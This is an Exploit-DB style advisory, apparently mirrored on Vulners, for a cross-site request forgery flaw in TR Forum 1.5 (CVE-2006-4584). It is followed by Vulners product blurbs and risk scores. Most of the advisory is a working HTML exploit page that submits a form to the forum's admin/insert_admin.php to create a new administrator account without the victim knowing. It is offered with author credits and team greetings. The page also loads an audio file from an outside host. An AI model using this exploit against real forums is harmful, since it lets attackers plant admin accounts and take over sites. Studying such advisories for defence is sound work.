TR Forum 1.5 - Cross-Site Request Forgery (Add Admin)
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2006-4584 | 25 Apr 201000:00 | – | circl |
 | CVE-2006-4584 | 6 Sep 200622:00 | – | cve |
 | CVE-2006-4584 | 6 Sep 200622:00 | – | cvelist |
 | TR Forum 2.0 - SQL Injection / Bypass Security Restriction | 4 Sep 200600:00 | – | exploitdb |
 | CVE-2006-4584 | 6 Sep 200622:04 | – | nvd |
========================================================================================
| # Title : TR Forum 1.5 insert admin CSRF Vulnerability
| # Author : EL-KAHINA
| # email : No-Mail
| # Home : www.iqs3cur1ty.com/vb
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)
| # Bug : CSRF
====================== Exploit By indoushka =================================
# Exploit :
insert admin CSRF :
<html>
<head>
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">
<table class="header" border="0" align="center" width="500">
<tr>
<td align="center"><font class="titre">Ajouter un modérateur</font></td>
</tr>
</table>
<br>
<CENTER><EMBED align=left
src=http://h1.ripway.com/ma3karouna/1.mp3
<table class="right" width="500" border="0" align="center" >
<tr>
<td class="text">login</td>
<td><input type="text" name="login"></td>
</tr>
<tr>
<td class="text">password</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td class="text">email</td>
<td><input type="text" name="mail"></td>
</tr>
<tr>
<td colspan="2" align="right"><input class="button" type="submit" value="valider"></td>
</tr>
</table>
<br>
</form>
</body>
</html>
==========================================
Greetz : Exploit-db Team
all my friend :(Dz-Ghost Team )
im indoushka's sister
------------------------------------------Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Apr 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.04694